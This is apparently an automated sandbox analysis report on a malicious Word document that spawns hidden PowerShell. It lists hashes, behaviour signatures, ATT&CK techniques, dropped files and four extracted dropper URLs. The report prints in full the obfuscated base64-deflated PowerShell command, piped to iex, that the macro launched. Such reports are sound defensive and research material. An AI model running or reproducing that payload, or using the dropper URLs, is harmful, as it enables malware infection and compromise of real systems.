2de89c748bd946f69be57df43e160b01b66833a43c88c37bd7b2aa67d2af5ff1

General

Target

ecfccd52eac33bcfcf7fb7d5917b1f60_JaffaCakes118.doc
Size

131KB
MD5

ecfccd52eac33bcfcf7fb7d5917b1f60
SHA1

fb334a3a9a26cb9e51fabab8b700a4e97610b0f0
SHA256

2de89c748bd946f69be57df43e160b01b66833a43c88c37bd7b2aa67d2af5ff1
SHA512

efcb452d50e7d0c6e5b9ff5660493ec578cea2d4195f4008161a4a87415a157cd393b7acfa4f5ba7f5f08606ed2825b24f97bc5969b8dcf05781965ceebc8d9c
SSDEEP

1536:NZ0rgMc0qg4Kkd8j6IjM+ahy0H/ovL+b4GJog6unhEXPx04IsCs:Yrgzg4KkjoT2wvLuJyuMx0DsT

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://mnapoli.org/iq2V1CQ/

exe.dropper

http://redfern.it/mfa6Sg3/

exe.dropper

http://hitech-control.com/KYGsjZ/

exe.dropper

http://podpea.co.uk/2DLIE6/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3124	1680	Powershell.exe	81

Blocklisted process makes network request 5 IoCs

flow	pid	Process
25	3124	Powershell.exe
26	3124	Powershell.exe
28	3124	Powershell.exe
30	3124	Powershell.exe
32	3124	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3124	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1680	WINWORD.EXE
1680	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3124	Powershell.exe
3124	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3124	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1680	WINWORD.EXE
1680	WINWORD.EXE
1680	WINWORD.EXE
1680	WINWORD.EXE
1680	WINWORD.EXE
1680	WINWORD.EXE
1680	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1680 wrote to memory of 3124	1680	WINWORD.EXE	86
PID 1680 wrote to memory of 3124	1680	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ecfccd52eac33bcfcf7fb7d5917b1f60_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
  Powershell -WinDowsTyle hidden ( NeW-ObJECt Io.StreamReaDEr( (NeW-ObJECt SySTEm.Io.cOmPRessIon.DeFLATEstReAm( [SysteM.Io.MeMoRystrEAM][CoNVeRt]::FROMBasE64sTriNG('bVZtb9pIEP5+0v0HqzoFIxLj9bsTVWohtHWvxzUhvSZFfHCICSTBdo2btKH893tmd8dw9BRtmJ3dnZ2deeYZm+aLtfA3a9fZrEP8QBSbtQ3JxQg263izdjD1MfWwgnXHg4jhQh1hO076GA6GSzswsOrQASw7OOHRKaziAo/sYbgYHrYI/AraTqewLmjgWo8Gzni4RJBV+sVwoHfILO2j28lN/LqwgSV38+JoZrQCtVG0Dls4jaWQriI7woGuvD9Myvu0LB4WFqYfR/Pir2zs2pMO1JcYbWhfGne9RO3sGFq4mWWVFs9OtXDc7WI3+Sz8SAZIUIQC9WZBToa0SK8RNiTfI8HdfI3vjmZkVBtKXp/2L9t6krPgdl9pyZoWy+6fV3p2msOFvIORHSV1prXzulnu/KqiZ5mQ8DCtu65otW1Vg/Ih7Q9o8X3vghbHo7paDN9OxtN36fkkDrZ7TKWKREcJQaQFIez23jk3/o9tP139j22nbWRfzo0DwzTgT7l6VywHY0dMOphRBn1fYYPwF1EibV8hNaYJISn0NCIITY6ElMSGq4BGWBSEYkEwIpCGtkKlINwHGDElhTSho4sBBiJbA1L+s2EpINs2DARkn6AvyDshYSpnVA20SQLClqUkqHgYrORYCHMhgdEPVCkRogmm0QbvVbk60hn6pwHESYPHfJXepCvGzXVfC6awtcSQaUBqvDQsE1jRU4ZLMgi6WpwVWhj9WPHppCRkq2IUVK0UvlgVnCC/Q4l2LMSBIgAhX0IvJ86gqMm0EJGEsWIRIcvc9lR57jmUQXXMzzlj4Bbv+eFbz9Qc20lQhrqLr1ofXxQ7O9sNBrGPQifXqBZM1CCyoMlM5o6c92QCocGemzcJKuKBHbz6xJ6m7N0HJWwfs9logZKJvzQY3WrNHefsgU/v/eaZruqnJncJvRKBDiSUELzIV5xMfEZUE8sQSwT6mkklyRkNbxmLnMVeMuKrrIYKQQ1Go+Vrr64+Wc9DPXvLoFgttDC1nnG+Us880cpFelsV30pJVZzG9iHb7tYVR637aq4l0T+DgV7yehtA63NG6WnSvbq9eWLG2nLXvK7V5Toh38+aRADFdYW0LTCGt89SN2tqoqHGQ8NhwOhfhs2QFQfmXubqbGkN93RJ/sgHp0VeV4Xyi7eVWYqZLAbZgWRbiKnUZZcD6IhrYgm3ievtohUbUTJBoHpxQMmOVBONqOnJnidsSRtUn4FEr6y/UPVbQbUaE7CxMyKKIQDRDqJBSZCe6sgRmaKJoO+BWPZbIkdXNeKISFIyJkERRmIqEh8XFxWj+zu3GsaIzIgsNN0hHEf3ipCbhh/u9Qxd0vfJ6LQvUcCsd83hbmqlgbSOfX22A2RDNvAsf4QNigTVBsS6TJq+zRAsv3FR5/UyY16NGMB8L6zXzDxZ3SjZm6ej4voum+7gazbVwlL/9ttcKEzv8Q5mpStMDDOomtb/PIxNPCZdQcn3PSxUkTQPcsRu1CVUp/zC35KGkfbrfF1XP9ZNa+lfGi85iVODuxGHFG/7Xcuui4akzKXMDT3KWfvkehvhJefI5tbUu/jMKr6nNpsgrnADaAvuDEfsEib80aOoC7dyhMtjppn7Ltcyf6GBRlmTpdO5uWWO1Y2VM6FzvP+mGgVvWYwF8oACcF8sOWlwzmcC+wIGq2vc3y0LRgx7kNcn+1it0px31U3GFnWXkYHPuLPtLZ1tqwaMD6hz8zx/0B9o9OaTzTStp/M1hYRaM9V1C+3ufFB+SKcDsyW/oMar+jzJUV79eVpN3GBnHd9dOPqztaOSKNk7Eu+so2X+su61jZ8WPt/+GAwfj/vFcvRx0B97h8I/dPzJ0V2xyFut9r8=') , [Io.coMpREssIOn.comPREssiOnModE]::DeCOmPReSS)),[SYsTEM.TEXT.enCOdiNg]::aSCii)).ReADtoEnd( )|iEx
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCDE2A6.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yjfvcpiz.4ml.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
f1305d931a8b7d2f2a21fb23f10e6db4

SHA1
545013a3d459da5f9c30f9385a138d9d382d47a3

SHA256
ee87c5ac4f1e8d90c318a01adb9d04d8970f3010282fc95164c17df221b18400

SHA512
bf672786259264def6d01b84978b38dc0ad81093fc29a70bf89bec5d33634e1f7a253bf9cc6956bdab78c51825352275c18486e791942de17caf9b6ae2ce981b

Download Submit
memory/1680-14-0x00007FFF7AF10000-0x00007FFF7AF20000-memory.dmp

Filesize
64KB

Download
memory/1680-55-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-6-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-8-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-7-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-9-0x00007FFF7AF10000-0x00007FFF7AF20000-memory.dmp

Filesize
64KB

Download
memory/1680-10-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-11-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-16-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-17-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-15-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-18-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-0-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/1680-13-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-12-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-1-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/1680-54-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-233-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-4-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/1680-5-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/1680-75-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-2-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/1680-81-0x00007FFFBD0B0000-0x00007FFFBD2A5000-memory.dmp

Filesize
2.0MB

Download
memory/1680-3-0x00007FFFBD14D000-0x00007FFFBD14E000-memory.dmp

Filesize
4KB

Download
memory/1680-230-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/1680-229-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/1680-232-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/1680-231-0x00007FFF7D130000-0x00007FFF7D140000-memory.dmp

Filesize
64KB

Download
memory/3124-61-0x000002212CFA0000-0x000002212CFC2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads